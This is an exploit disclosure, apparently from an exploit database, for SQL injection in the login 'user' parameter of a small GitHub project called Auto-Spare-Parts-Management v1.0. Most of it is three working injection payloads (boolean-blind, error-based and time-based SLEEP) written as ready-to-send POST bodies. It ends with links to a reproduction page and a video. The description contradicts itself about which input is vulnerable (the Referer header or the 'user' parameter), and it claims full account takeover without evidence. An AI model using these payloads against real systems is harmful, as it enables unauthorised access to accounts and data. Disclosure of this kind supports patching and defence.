## Title: Auto-Spare-Parts-Management v1.0 remote SQL-Injections ## Author: nu11secur1ty ## Date: 02.19.2022 ## Vendor: https://github.com/pavanpatil45 ## Software: https://github.com/pavanpatil45/Auto-Spare-Parts-Management ## Description: The Referer HTTP header on Auto-Spare-Parts-Management v1.0 system appears to be vulnerable to SQL injection attacks, parameter `user`. The payload ' was submitted in the Referer HTTP header, and a database error message was returned. The attacker from outside can take control of all accounts of this system by using this vulnerability! WARNING: If this is in some external domain, or some subdomain, or internal, this will be extremely dangerous! Status: CRITICAL [+] Payloads: ```mysql --- Parameter: user (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: user=admin1' AND 5432=5432 AND 'MXPx'='MXPx&password=admin1&btnlogin= Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: user=admin1' AND (SELECT 8861 FROM(SELECT COUNT(*),CONCAT(0x71786b6271,(SELECT (ELT(8861=8861,1))),0x71706b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'aOSP'='aOSP&password=admin1&btnlogin= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: user=admin1' AND (SELECT 1749 FROM (SELECT(SLEEP(3)))XjEM) AND 'xoHI'='xoHI&password=admin1&btnlogin= --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/edit/main/vendors/pavanpatil45/Auto-Spare-Parts-Management) ## Proof and Exploit: [href](https://streamable.com/qq19po)